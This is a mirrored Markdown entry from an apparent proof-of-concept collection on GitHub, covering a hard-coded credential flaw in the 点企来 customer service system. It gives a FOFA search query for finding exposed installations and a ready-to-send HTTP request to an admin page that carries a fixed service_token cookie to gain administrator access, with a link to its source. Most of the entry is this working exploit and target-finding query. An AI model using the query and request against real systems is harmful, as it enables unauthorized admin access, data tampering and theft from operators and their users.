mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
27 lines
812 B
Markdown
27 lines
812 B
Markdown
|
# 点企来客服系统存在硬编码漏洞
|
||
|
|
|
||
|
|
点企来客服系统存在硬编码漏洞，攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
|
||
|
|
```yaml
|
||
|
|
body="layui-form-item" && body="/admin/login/check.html"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
|
||
|
|
```javascript
|
||
|
|
GET /admin/custom/index.html HTTP/1.1
|
||
|
|
Host:
|
||
|
|
Cookie: service_token=OuwfoovK%2BIdd
|
||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
|
||
|
|
X-Requested-With: XMLHttpRequest
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
## 漏洞来源
|
||
|
|
|
||
|
|
- https://mp.weixin.qq.com/s/AeXSpX7Jrfkp8B1PjUHX-g
|